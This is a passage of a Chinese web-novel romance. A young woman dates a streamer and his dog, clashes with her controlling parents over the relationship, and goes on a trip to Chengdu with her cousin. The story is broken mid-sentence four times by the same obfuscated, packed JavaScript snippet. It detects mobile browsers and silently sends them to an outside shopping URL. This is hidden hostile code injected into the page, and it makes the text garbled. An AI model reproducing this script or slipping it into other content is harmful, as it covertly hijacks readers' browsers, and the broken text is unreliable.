自己确实不该这么矫情哈,想让应之珏陪就直说嘛!他肯定想和自己见面啊,要是不想——那就是他有问题呢! 抛却心事,姜满主动向应之珏发出邀约:“明天,后天,大后天,选一天吧?哪天有空,我们先从第一家试起?” “当然有空,就明天吧。不过这家好像不是宠物友好餐厅,就让我小弟自己独守空房一阵儿吧。” “带着它呗。” 姜满想出了一个两全的方法:“我们打包带到车里和它一起吃。” 狗狗大多都有分离焦虑,再加上应之王也算是大型犬,在家里没人看着,指不定嚯嚯啥呢。 要是再把应之珏的网线啥的直播设备弄坏了,损失可太大了。 更重要的是,姜满从来都不觉得应之王是个麻烦。她还是如初见时一样喜欢这个笑起来治愈的小天使。 “好了好了,姜满手里拿着南瓜糊,你别拱她了,弄撒了怎么办。” 应之王被丢在车里十几分钟已经难受得不行,见到拉开车门的姜满就要像脱缰的野马一样迎了上去。 应之珏见状赶紧放下两手满满的餐食,拦住了应之王,姜满这才得以坐上副驾。 两人一个接一个打开打包盒,整齐地放在车窗玻璃下的置物处。 姜满刚要打开装着板栗南瓜糊的杯装盒子,却不小心手一滑,使其倾斜,撒了几滴在车座上。 她慌张地惊叫一声,应之珏赶紧抽出纸巾来擦拭挂在她手腕处的糊糊,问道:“有没有烫到?” 姜满摇摇头,“天气冷,感觉不大出来,就是你这车座子遭殃了,赶紧擦——” 话音未落,姜满低头找洒在椅子上的那一摊,映入眼帘的却是应之王仰着个大脑袋笑意盈盈地看着她,嘴角还有黄棕色的粘稠物。 她和应之珏相视一笑。 “还说它会弄撒呢,实际上还是这个应之王帮我处理得干干净净了。不错,眼里有活,好宝宝。” 姜满轻轻擦掉了挂在应之王嘴边的那抹格格不入的糊糊。 生活就这样淡淡地走着,两人每天遛狗,时常出去吃顿饭。 姜满会把吃过觉得好吃的以及有可取之处、但是仍有改进空间的餐品进行调整复刻。 而应之珏也和苏越、郝瞳一样,成为了姜满餐品的品鉴官,为她的进一步改进提出参考。 不过姜满也没忘了用余料给应之王也做些减油减糖、更适合狗宝宝体质的漂亮饭。 说来也奇怪,应之珏本来是那种看什么饭食欲也不会有很大的起伏,不饿就能一直不吃,饿了看什么都能吃的很香的人。 一开始姜满问他,那次他们偶遇的那家宠物友好餐厅里的餐品口味怎么样,应之珏说不出个所以然来,犹豫思考再三只得出了“有肉有菜有饭有甜品”这种食材品类描述性的词语,承认自己对于吃食没什么要求,能吃饱就行。 可是姜满给他送了一段时间的饭,应之珏养成了“回味+对比”的双重品鉴习惯,久而久之,嘴竟然也刁了起来,面对之前刷着手机能凑活着吃干净的外卖,现在看了就提不起兴趣来,脑子里全是姜满做的。 “怎么办啊,都怪你。”应之珏赖上了姜满:“离开你,我会饿死的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564614|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜满无语,这老哥们儿怎么突然在她这开始装疯卖傻了? “哎哎哎又夸张了啊,你有毛病应之珏,别在这跟我装可怜。” “烦我了?我就怕你喜欢上她们小姑娘都喜欢的小奶狗类型的怎么办?幸好我家里还有只大奶狗能留住你的心。” “那也不‘奶’了好吧!”姜满想起应之王那Duang大一坨,忍不住发笑,“你又受什么刺激了?” 姜满说的没错,应之珏确实受刺激了。 ——前几天他直播的时候,弹幕闲来无事讨论起时下最流行的男友风格是什么样的,聊着聊着大部分人就统一了战线——喜欢野野的奶狗风,就是那种年纪虽然小,会甜甜叫“姐姐”,但是有时又会反差地做出一些刺激的、让人脸红心跳的“强制爱”举动。 应之珏捡装备的时候抬眼一看,发现她们已经聊得不知天地为何物了,连忙插进话去:“你们这又是在说什么,可惜了哥哥这技术,跟本没人在意主播了现在。” 这一句话又把大家拉了回来,应之珏也是引火上身了。 她们开始讨论应之珏算是什么风格的。 ——要论是哥哥的感觉,但也不能完全划分进去,毕竟这人时常有些超于常人的孩子气。 ——要归为口无遮拦、直球且具有压迫感的狼狗,好像也不能这么说,毕竟应之珏只是说话有趣,音调啊情绪什么的都是像一片云飘过去一样淡淡的,不刻意留下痕迹。 ——要说他是十足的不顾形象的搞笑男,那更是无稽之谈了,毕竟从“哥哥不留余地”这个ID,都能看出来这人多少有点“装”吧。 弹幕辩论地发了狠忘了情,眼看僵持不下,最终只得各退一步,先归纳总结了各方意见,暂且出了个缩小范围的结论:反正不属于现在最火的野奶狗型。 “我真服了。狗就狗,野就野,奶就奶,又这又那混合到一起的,再过几年是不是就要出什么野乖奶茶狼狗了。” 弹幕被他这样逗得不行: “你看你又急” “不就是没赶上最受欢迎的类型嘛,没事儿哥,说不定再过十几年又流行咱这样的了呢。” …… “……搞不清楚你们这些小孩儿的想法。” 应之珏丢下这一句话,不再继续这个话题。 下播后,他对着镜子开始审视自己的顺直发。其实她们说的都对,虽然都是素未谋面的网友,但这么多年通过网线,她们也把应之珏了解得透透的了。 应之珏确实是不属于那个类型的,也从未想过要成为流行受欢迎的男友典范。 他只是不爽别人把自己像商品一样划分到一个种类里,明明他有很多和别人不一样的地方! 姜满,应该不会这样吧…… 不会像别的小姑娘一样喜新厌旧,更喜欢年轻有活力的“小狗”吧? 结果没过两天他就发现姜满自己登录过游戏,没叫他。 仔细一查看战绩,居然还是和别人双排! 此男心中立马警觉起来。 19. 抓包 再仔细瞅瞅,应之珏一下子就没了脾气——这人带的姜满玩了几把后,姜满本就不高的KD再次下降了,完全不如应之珏有实力。 “哼。还是和我玩体验感更好吧?”应之珏突然变得幼稚起来,以KD论英雄了。 而且再问姜满时,姜满也全都告诉他了:不是和他玩体验感不好,而是这个“战神姐”是她多少年的游戏搭子了,俩人长时间不打一把就难受。 姜满还明晃晃补了一句:“应之珏,不许有男人病知不知道?我玩游戏是为了开心的,战绩什么的无所谓,才不会因为战绩掉了就迁怒于和我一起玩的战友!” 郝瞳和她玩的时候,也问过同样的问题:“哎,满子,你咋不叫你对象和你玩啊?难不成是玩够了?还是他压力你了?” 姜满如实道出自己的考量:“应之珏的工作本来就是这个游戏啊,他每天都要打这么长时间,我不想再占用他的休息时间,让他再去做重复的事情了。毕竟再感兴趣的事儿,哪怕是游戏,做久了都会烦的。” “……其实我这么想,也是因为感同身受,”姜满接着说,“就像我前一阵做线上小程序那样,本来自己在家研究研究做饭是乐趣,但是当做工作一样每天做的时候,还蛮难熬的。尤其是自由职业,虽然没有各级的压迫,但是什么事儿都要自己来,也不轻松。” 郝瞳觉得她说的对。“我们满子真是个特别善解人意,不作不闹的二十四孝好对象!” 姜满无语,这个郝瞳真是乱用词,她怎么又“孝”上了? “那要是让他直播专门有一个小时适合你甜蜜双排呢?可以成为一个固定的环节呀,这不是也挺有意思的。”郝瞳脑袋里又有了新想法。 姜满仔细思考了一下,还是觉得可行性不大:“郝瞳,你说你会买商场里捆绑销售的东西吗?大多人都是回家后才后悔,自己像是‘被迫’的一样吧。应之珏的粉丝去他直播间是为了看他,如果让大家‘被迫’把时间分给了另一个人,会感觉不值得吧。你追星,你应该知道这种感觉的。” “我去姐妹你说得对啊。是我草率了,我这种人当上‘嫂子’就是要明目张胆秀,丝毫不在意别人死活的,不像你会这么珍惜每一个人对他的感情。哎呀,我想想要是我兴致勃勃打开我爱豆的直播间,发现里面传出来了和异性亲昵的对话……我直接嘎嘣一下死在那里算了。” 郝瞳把自己带入,换位思考,瞬间就体会到了姜满的用心良苦。 “讲真的,我以前还担心过你第一次谈恋爱,还不是在校园这种环境,会不会把握不好尺度,三两下就把人家给聊跑了。现在看来,比我想象的要更好。” “可能是因为,姜满,你本来就是一个特别特别好的人。” 郝瞳发自肺腑的高度评价,让姜满心里暖暖的,也有更有了自信。 ——对呀,她本来就是一个待人真诚,总为别人着想的小女孩,所以她也应该理所当然地接受别人对她的好,而不觉得自己配不上。 想明白这些,姜满面对应之珏的时候就更坦然了。 他们两个喜欢语不惊人死不休,本性如此,就顺其自然地当对抗路情侣好了,闹闹腾腾,你出招我接招,有来有回的,才是两个人都舒服的理想状态。 天气一晃变得更加寒冷,姜满切实地感受到了家乡的冬天,真的来了。 当看到窗外稀稀拉拉飘起了像应之王毛发一般的细细白雪,她第一反应就是叫应之珏出来:“睡醒没?拉开窗帘看看,今年的初雪,要不要带应之王出来玩玩?” 应之珏此刻正在补觉呢,被一阵狗吠吵醒。 他赶紧起身寻找应之王的身影——此狗已被调教得非常乖巧,很少有发出闹人的声音。 应之珏不知道发生了什么事,伸手打开台灯才发现这应之王透过窗帘的缝隙,直直地看向窗外。 在刚刚被灯光填满明亮的房间里,应之珏的眼睛还没适应过来,于是眯着眼睛拉开窗帘,看到了窗外一个个飘动飞舞着的白点。 “小笨蛋,没见过雪啊?这么兴奋。” 应之珏无奈地摸了摸它的头,“好吧,虽然你扰了哥哥的清梦,但也不能怪你。毕竟你只是也想叫哥哥看这美景,不是吗?” 应之珏拿起手机想跟姜满分享,却发现她领先一步。 于是发了张应之王看着窗外飘雪的背影,“还是你懂它。” 洗了把脸,应家这两兄弟麻溜地来到熟悉的公园赴约。 小狗爪子在薄薄的雪层上留下一朵朵梅花,这长长的花枝清晰而又排布得均匀,延伸到姜满附近,才变得凌乱且重叠起来。 姜满小跑着靠近他们,脸颊红红,不知道是跑的还是冻的。 应之珏自然地把手贴在她脸上,试探着皮肤的温度,问道:“冷不冷?” 姜满向后缩了一下,感觉自己的脸即刻滚烫了起来。 “不冷……”她双手搂住应之珏的胳膊,两人就这样瞎逛游,直至走到一个角落里。 姜满蹲下来,给应之王扫着身上的雪。 应之珏不明所以,也蹲下来,把胳膊搭在膝盖上看着她,“你干什么呢?” “给它扫扫身上的雪啊,应之王又没有衣服穿,冻着怎么办?” “这颜色和它毛完全一样,你能看得清呢?再说了,这么点儿小雪,你还担心它没穿衣服呢,看看这皮毛,”应之珏抓了一大把它的毛给姜满展示,“喏,这么厚呢。” 姜满撇撇嘴,“好吧,当我杞人忧天了。应之王,你哥嫌我太关心你呢。” “诶诶诶,我可没这么说。”应之珏纠正她的挑拨离间,开始抱怨:“你就光关心它吧,我牵着着它漏出来只能迎接风雪的手,一点也不冷!” “……又没人拦着你把手放口袋里。” 姜满嘴上这么吐槽着,手却诚实地一把把他的手拽过来,十指紧扣放在自己的口袋里。 “行了吧,不冷了吧?”姜满想,到底谁才是年下啊?幼稚鬼。 “不冷了,暖暖的。”应之珏在口袋里轻轻回扣了两下她的手,侧身靠向她耳边回答。 估摸着时间不早了,她是时候该回家吃晚饭了,于是想要站起身来,应之珏也随着她的动作起身。 却不料应之王不知什么时候绕着两人走了个圈,牵引绳也随之在两人脚底盘成个紧紧的圆。 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564615|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满一脚踩了上去,打了个趔趄,没有着力点地落到地面上滑了一下,就这样跌进了应之珏怀里。 姜满反应过来时,还有点庆幸:嘿嘿,终于也算是抱上了。 见姜满没挣脱,应之珏也没动,维持着不紧也不松的力度抱着她,手摸了摸她的头,顺带着给她戴上了帽子。 先急了的是应之王——它削尖了脑袋使劲往两人腿中间钻,对这两座矗立在此不带它玩的“石像”表示着不满,急切地想要融入进去。 姜满被它这股子躁动劲儿逗得直发笑,离开应之珏的怀抱,向后撤了一步给应之王留出钻到两人中间的空间来。 “我该回家吃饭喽。”姜满意犹未尽地说。 应之珏没多说什么,只是拉了拉她的袖角。“好。路滑,我和应之王送你到楼下。” 应之珏此刻没有想到,这个决定在不久后就会让他无比后悔。 “拜拜,明天见应之王。” 姜满俯下身子,向往常一样同应之王说着再见。 “还有我呢——”应之珏话音未落,姜满直接就捂住了他的嘴。 “又催我!明明就没忘了你。” 姜满收回手,小声吐出一句:“明天见,哥哥。” 应之珏简直要被姜满这句软软的“哥哥”甜晕了,嘴角压都压不住,眼睛也眯成了好看的狐狸样。 而姜满没好意思再去观察应之珏的反应,甩下这句话就跑上楼了。 只想逃离。全然不顾自己刚刚已经按了电梯。 应之珏对着打开空无一人,也没有人要上去的电梯,和应之王面面相觑。 ……他好像记得姜满家是在六楼来着。 这丫头为了躲她遗留下的恶作剧,一下子这么有劲儿了吗? …… “回来了?” 姜父早已把饭菜做好,和姜母一起坐在餐桌前等着姜满吃饭。 “嗯。” 气氛好像有点奇怪? 姜满具体说不出来是哪里有问题,反正就是觉得最近自己也没和他们吵架,怎么两人皮笑肉不笑的呢。 所以她刹那间就把刚刚脸红心跳的激动之情强压了下去。 “满满,你谈恋爱了,怎么也不和爸爸妈妈说呢?没有别的意思,就是想给你把把关呀。” 姜母没有拐弯抹角,很直接。但这直接有点吓到姜满了,她方才还沉浸在甜蜜中呢,怎么可能这么快就转变进入应对盘问的状态呢? 姜满愣住了。 此刻她的脑中闪过了无数种说辞:说应之珏只是朋友、说只是偶遇一起遛狗…… 可是应之珏这么好,有什么拿不出手的啊,为什么要遮遮掩掩的,这对他也不公平! 姜满最终决定和盘托出,她装作不在意的样子,边把外套挂在门口衣架上边回复:“刚谈,没打算瞒你们,想等之后再说来着。” 她一早就知道父母中意的女婿类型大抵是长得憨厚老实,性格踏实稳重的那种,反正绝不可能是应之珏这种。 当初下定决心脱单,有一方面不纯粹的原因,也是为了逃离开姜父姜母的硬性管控屏障,安放自己“秩序外”的心动。 20. 窒息 “之后再说?要不是你爸爸在厨房做饭的时候看见你俩牵着手回来,你打算什么时候再说呢?” 姜满不想和他们吵架,深呼吸平复了一下怒气,努力使自己的语气保持冷静:“我想什么时候说是我自己的事情吧。” 她本来还想半开玩笑似地炫耀一句怎么样很帅吧?略思考了两秒后感觉和父母没有熟到能肆意开这种玩笑的地步,没敢再介绍。 “这男生是不是上次遛狗把你撞伤的那个?他牵的那只狗就是那天你带回家里来的吧?” 姜父又开始追问。 “是他。是它。所以呢,问这些干什么。” 又是这熟悉的窒息感。 姜母像得到了肯定的答案,自信地冲姜父笑着阴阳道:“我说吧,你孩子是早有预谋呢,估计俩人早就认识了,休学也是为了他吧。” …… 姜满彻底沉默了。 她最烦她妈的无端联想了,总喜欢揣测别人的想法,不管说没说准,总能摆出一副洋洋自得“你看我又猜对了”的睥睨感。 “男孩子头发这么长,一看就不是什么正经人,哪有大公司要这种员工?估计职业也不好吧。满满,听爸爸的啊,不能和这种没有男子气概的在一起。你现在还小,容易被骗……” 姜满实在是忍无可忍了。 “你职业好,你最有男子气概了行吗?整天抱着只够自己花的工资,家里和给我的生活费都是我妈跑两个工作挣来的,你每天就混这么几个小时然后就在家里躺着了,真是大男子汉。” “长头发咋了?又不是没有层次不打理和流浪汉一样,这样好看为啥不能这样?男人对年轻漂亮同性的忌妒心别太重好吧!” “还有你,妈妈。总是见不得别人好,在背后瞎猜想。” 姜满就事论事,也没打算放过她。 “你忘了当初刚知道姐姐谈了个帅哥演员的时候,你冷嘲热讽说人家只是图我姐姐家钱多,圈够钱就得分?现在呢,看他们这么幸福,你打脸不?” 姜父姜母被说的脸青一阵红一阵的。 他们无法瞬间就进行有力的辩驳,因为他们不可否认,姜满说的都是事实。 “是因为自己过得太失败了,就要对我这也要控制那也要控制吗?” 姜满觉得话说到这了,她也是不吐不快了,“我休学,不是因为跟不上课程,也不是因为我吃不了苦。是因为你们在我需要帮助的关键事情上扶持不了我,却又异想天开我能在毕业后出人头地。你们不觉得这有些太强人所难了吗?既不给我生长的空间,束缚住我;又想让我如鲲鹏展翅。” “我不开心,吃不下饭,睡不着觉,都是因为你们!” 姜满终于把这么久以来的委屈都说了出来。说到最后这句话,她再也抑制不住,几近嘶吼。 她跑回屋,锁上门,躲进被窝里逃避了一会儿现实。 还好父母没有追过来继续辩论,姜满还能有喘息、自己平复的时间。 过了很久,她才从被子里冒出头来——因为听到了电话铃声。 是表姐苏越打来的。 “满满,我听我妈说,你和姨妈姨夫吵架了?” 姜满无语:“怪不得她没追着我打呢,原来是又背后‘蛐蛐’人去了。” 苏越也了解她姨妈这难移的本性,没为了劝和而给她说好话:“姨妈……就这样,这就是她的爱好嘛。其实也没有什么恶意了,就是喜欢吐槽的程度比别人更强了一点。” 不过苏越此刻更在意姜满的感受:“有很多观念,他们和我们不一样。姨夫姨妈不理解,但是我知道你没错。” 姜满随即向姐姐说出了困扰自己已久的问题:“我一直不怀疑他们爱不爱我,但是他们总是让我好难受……明明平常相处生活也有说有笑的,但是我总是惴惴不安,因为感觉家里像有一个定时炸弹,我不知道我哪句话、哪件事就让他们爆炸了。” 姜满大大地擤了鼻涕,继续说:“完全就是那种表面风平浪静,实则暗潮汹涌。我没有办法全身心地彻底投入到幸福中你懂吗?因为幸福也像是偷来的一样,一定要还的,而且总是要让我付出更大的代价,落差太大了,我真的受不了了。” 她叹了口气,自嘲式地给这段谈话结了尾:“算了,你不懂的,因为姨夫姨妈对你是无条件的支持和信任。” 这点苏越无法反驳。 是啊,毕竟每个人家庭情况都是不一样的,如此幸福的她又有什么资格去劝解姜满呢?说再多都好像是在怜悯、在她脆弱之处继续补刀罢了。 可是她见不得姜满这么消沉下去,尤其是姜父姜母给她下了不能出门的禁令之后。 苏越知道姜满从小就是坐不住的人,剥夺了她享受阳光的自由,比杀了她还难受。 作为姐姐,跟姨夫姨妈说不能这样对姜满,她心里真的会出现问题的。 姜父姜母却觉得姜满不听话,其实都是被惯的,让苏越不要可怜她。 姜满那天晚上看着应之珏报备的“要去直播了”的消息,本想心一狠,直接单方面地提出分手然后删除拉黑一条龙。 她觉得自己好累好累,也明白在说不通的父母的阻挠下,他们不会有继续发展的可能性。她不想让自己越来越沉闷的戾气也拖垮应之珏。与其那样,还不如把一切停止在最美好的时候。 可是她盯了很久,还是没能下手。 再等等,再等等吧。 可不能见面,她不知道要用什么谎言来骗过应之珏,以此先维持着这段关系。 还好姐姐像救星一样来了——苏越提出要带姜满出去旅游散散心,正好不在家里也不会和姜父姜母起冲突,而且也可以确保这段时间姜满不和那长发男见面。 姜父姜母还是十分信任苏越的。 ——可笑的是他们并不愿意把这份信任分给自己的孩子。 姜满的眉头稍微舒展一点了,她有了和应之珏不见面的理由,也可以趁着旅游品尝各地美食学习一些新手艺。 “去成都吗?有很多好吃的,你又可以学到不少了!我之前去过那里,刚刚预约好了两家你应该会喜欢的,请你和姐姐吃。” 应之珏丝毫没有察觉到不对,还给她出了美食攻略。 “那我品鉴一下如何,回来复刻给你吃。” 姜满也继续演着平时的状态。 上飞机前,姜母给姜满转了账。 姜满咬着下嘴唇,觉得妈妈还是放不下她的。 转账后面又来了一句话:“给你姐姐发的她没收,你拿着吧,到时候抢着付钱,别都让你姐姐花。” ……姜满心里又堵死了。 收下钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564616|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了句“知道了”就和苏越去登机了。 虽是南方,在寒冬腊月,也是得包得厚厚的才能出门。两人到达时已是傍晚,今天不再有游玩的打算,于是姜满换上睡衣再套上个长款羽绒服就要去应之珏定好的餐馆吃饭。 “满满,你是不是忘换衣服了?”苏越拽住她,还以为妹妹是还沉浸在和姨夫姨妈的争吵中没缓过来,是不小心的。 姜满双手插着兜耸耸肩,“没有啊,我在学校一直这样,回来脱了外套不就可以直接睡觉了?多方便。” 苏越一下子就被说服了。 是哈,她当时上大学的时候不也是这样吗?随便拿个外衣披上就可以走遍教室、食堂、快递驿站。许是毕业了几年,居然都对之前自己也习以为常的做法感到诧异了。 不得不说,应之珏现在已经对姜满的口味了如指掌——这家店上的甜水面甜甜辣辣,两种味道交融地恰到好处,引得人一口一口吃得停不下来;蹄花和家乡的不一样,这里的是奶白色清汤的,软烂脱骨一抿脱骨,但是嚼起来又是糯糯有嚼头、不是松散的;甜皮鸭更是甜咸交织,有浸入肉丝中卤汁的咸鲜,又有焦焦皱巴巴鸭皮上的一层甜滋滋的糖衣,肉嫩多汁…… 姜满直接吃迷糊了,靠在苏越身上擦着嘴,给应之珏汇报:“这也太好吃了吧,好想把整个店搬回家里啊!” 应之珏挑挑眉,“还好你只是想把店搬回来,而不是要为了好吃的,留在那里不回来了。” 姜满打了个饱嗝,换来苏越一个轻轻的巴掌拍在身上:“叫你吃得这么急,又饱了吧,快歇歇起来再吃两口,不然走两步刚到酒店你又饿了。” 姜满嘿嘿一笑,离开苏越的肩头,又拿起筷子把所有餐品都宠幸了一遍。 回到酒店,她想起答应了应之珏,回到酒店后要跟他报声平安。 “我们回来了,你放心去直播吧!” 应之珏却没有立刻去做他的事,而是叫姜满等等。 “之前通过搜索ID,从好友申请骂你并且举报你的人,警察查到了。” 姜满从床上坐直,认真起来。 “是个十七岁的女孩子,还在上高中。虽然是未成年,不过也需要对自己的言论负责,是可以追究的。” “……怎么追究?”姜满不懂这些。 “起诉把她告了,然后我们双方都要去法院……” “算了,就这样吧。” 姜满嫌麻烦,开始为那小姑娘开脱:“年纪小,不懂事儿。你警告过后这不是也没再作妖了吗?我要是她,我现在都要吓死了,总感觉自己做的丑事要被发现了。而且现在她还在上学,要是起诉,对她影响肯定不小。” 应之珏在屏幕那头叹了口气。当事人是姜满,他不能替姜满做选择。 “你决定好了?”应之珏又确定一遍。 “决定好啦!”姜满肯定地说,“上着学压力大,想发泄发泄,无可厚非,只不过方式不大对。总要给人家一个自己改正的机会嘛。做人留一线,日后好相见。” “嗯,那听你的。希望她能如你所说,自己就能想明白,改过自新了吧。”应之珏不再干涉。 “早点去休息吧,明天还要玩呢。” “好~告诉应之王我很想它哦,在家要乖乖的。” 应之珏不满:“只想它啊?” 21. 官宣 “Im sorry “因为我相信你很乖啊哥哥,以为不用特地嘱咐你了呢。” 应之珏紧盯着这句话里的“哥哥”,把手机贴到眼前,眼神逐渐失了焦。 他脑子里开始幻想出姜满叫他“哥哥”时细细甜甜的嗓音,还有娇羞的、不敢直视他的模样。 …… 姜满要睡觉了,见他从刚刚开始一直不回话,猜他可能是直播已经开游戏了,所以留了句言:“别吃醋了哥哥,我逗你呢。晚安哥哥。” 静态凝滞的屏幕突然有了变化,又闪出这样一条消息来,把应之珏惊得回过神来。 不过当他看清这句话里依旧带上了踩在他爽点上的”哥哥”,把手机扣在心口,笑的无可奈何。 明明这丫头当着他面的时候,对待他像兄弟一样,很少这样有情趣。 一跑远了,到了看不见摸不着的地方了,又开始这么撩拨他。 ……姜满,你好样的。 应之珏这天播到很晚,因为他根本睡不着觉,手一停下,脑子里就自动开启音响,重复播放的全是姜满在叫他“哥哥”。 不过一直直播也没好到哪去,无法完全杜绝——因为知道“哥哥不留余地”喜欢自称“哥哥”,所以弹幕也和往常一样以“哥哥”指代着他。 满屏的“哥哥”、“哥哥”更是让他芳心大乱,只得低下头尽量不去看评论区的互动,埋头苦打,也没了之前喜欢和直播间玩的“猜毒圈缩到哪”、“猜这把人头单双数”之类的互动游戏。 知“哥哥不留余地”莫过于这些老粉,直播的最后开始有人问:“余地哥今天咋了?怎么如此安静?” 还有的猜测:“主播是不是被掉包了?还我哥哥来!” 更有甚者直接下了结论:“啧啧啧,这状态是被甩了吧。” 应之珏看见最后这条直接炸毛了,放下手机,双手把额前碎发全捋到了上面去。 “别瞎说行吗,你哥现在和对象好着呢。杀疯了是因为本人技术本就如此高超好吗?不要给哥哥的感情唱衰哈。” “真假的?余地哥每天高强度直播还能有空谈恋爱呢?不会是和那种萨摩耶谈的吧?” 而后弹幕开始飘起: “不信” “痴人说梦中” “疑似单身狗破防了”…… 应之珏被这帮魔丸整没招了:“我下播以后你们等着昂,等我发新视频的。” 应之珏把游戏、直播一退,开始剪辑视频。 他拍下的那张姜满和应之王靠在一起的背影,而应之珏的影子正好投射在前方。两实一虚,占据了整个画面,具有自然又幸福的生活气息。 讲道理,没有什么需要剪辑的,应之珏就是在选择什么配乐上犯了难。 有了,他突然灵机一动找出一首他十分熟悉的音乐,再加上“有弹幕造谣哥哥被甩了,澄清一下”的文案,发布了出去。 …… 姜满晚上总是睡不好,早上屋里透进来一点光她就会惊醒,今天也没例外。 看了看隔壁床上的苏越还在沉睡,姜满像在学校住宿生活的时候一样,睡又睡不着,又怕打扰到别人,于是熟练地戴上耳机开始刷视频消磨时间。 一打开,映入眼帘的就是特别关心“哥哥不留余地”几个小时前发布的视频。 姜满揉了揉眼睛,“他什么时候拍的这张照片?我怎么一点印象也没有?” 等等,先不纠结这个,这个神人应之珏这是配的什么音乐啊! “I''msorrybut~” “Don''twannatalk~” “IneedamomentbeforeIgo~” …… 这配乐无比熟悉,就是和平精英里经典永流传的一首车载音乐啊,她自然也是听了无数遍的了,没睡醒还以为自己又打开游戏坐上载具了呢。 人家小情侣官宣都是配什么“我们俩”、“特别的人”,再不济就是些明快或富有暧昧感的纯音乐。 这个应之珏放了首和平精英神曲是想干啥? 实况只有几秒,但是这曲子还在一直不住地播放着,已经来到了最具节奏感的一段: “SothenwhenI''mfinished——” “I''mall''boutmybusiness——” …… “神经病。” 姜满暗骂了一声,随即忍不住笑起来。 自从小程序被迫下架以后,她好久没有这么笑过了,笑得自己也不知道自己为什么笑,笑的那一瞬间甚至连和父母的争吵都忘记了。 好吧,她不得不承认,这音乐作为官宣背景音来说,确实是别出心裁,一点儿也不烂大街,估计全网也找不出第二个了。 姜满还得庆幸呢,他没有找更火的另几首与和平精英有关的神曲,比如说以手势舞席卷短视频平台的98k,或是口水歌叮咚鸡…… 如果官宣的背景音乐是“这里没有人叫你老弟”、“我想问问你有什么实力”…… 她不敢想。 她点了个赞,随即打开微信问应之珏什么时候拍的照片,她怎么一点也没发现。 “开玩笑,哥哥我可是掏手机和掏枪一样快,被你抓到算我这么多年特种兵白当了。”应之珏回复的很快。 “你怎么还没睡?” 姜满寻思着这个点他应该下播有一段时间,正在熟睡呢。 “我还想问你怎么醒这么早的,不知道的还以为你们今天的日程是去天安门看升旗呢。”应之珏回问道。 姜满不想跟他说自己的身体情绪问题,随便应付了过去:“起来上厕所,刷短视频想下屎呢,谁成想直接就看到了某人发的视频。” 应之珏被她逗笑了,紧随其后说出了自己没睡觉的原因:“哥哥被妹妹叫得心乱了,所以睡不着,你说是不是妹妹的责任。” “停停停,”姜满连忙打断他。她愿意叫应之珏哥哥,是因为她没有哥哥,所以叫起来不尴尬。但是她在家里确实是处于一个妹妹的角色,因为上面有苏越这个表姐,所以听到妹妹就有些怪怪的。 “我又不是你亲妹,别这么叫我!” 应之珏没听进去,贱兮兮地反驳:“没关系啊,情妹妹,也是妹妹。” 三两句话又把姜满撩的脸红的不行,窝在被窝里的身子还没被屏幕光线映照着的脸热。 “你真烦人应之珏,我不理你了,你快点补觉吧,要不然白天没工夫遛应之王了。” “果然还是更在意那小子吗?” 应之珏怕弄醒应之王,所以拍照的时候没开闪光灯,只发了张模模糊糊能看到白乎乎一团的黢黑照片。 “喏,放心了吧。” “放心放心,快点睡觉!” 过了一个多小时,姜满估摸着应之珏肯定困得熬不住了,试探性地拍了拍他。 “拍一拍”十分钟后,见对面还没回,她默默发了一句:“祝你好梦,哥哥。” …… 在成都的这些天,很幸福。 姜满和小时候一样,跟在姐姐后面,不用带脑子,从早到晚吃吃喝喝,还去看了和平精英职业联赛,现场感受了一波电竞比赛的魅力——是和在线上看完全不同的体验;不会被父母打扰,因为在他们眼里苏越就是一个完完全全成熟靠谱的人,姜满跟着她只有好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564617|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处没有坏处;也不用想怎么跟应之珏说自己被要求分手的事情。 可是无忧无虑的时光总是短暂的,现在美梦要破碎了。 当坐上返程飞机的那一刻,姜满就开始浑身不舒服:手不自觉地开始往头上放,指甲一下又一下划过头皮,用力地扣着;脚下也像踩了弹簧一样不住地抖起来。 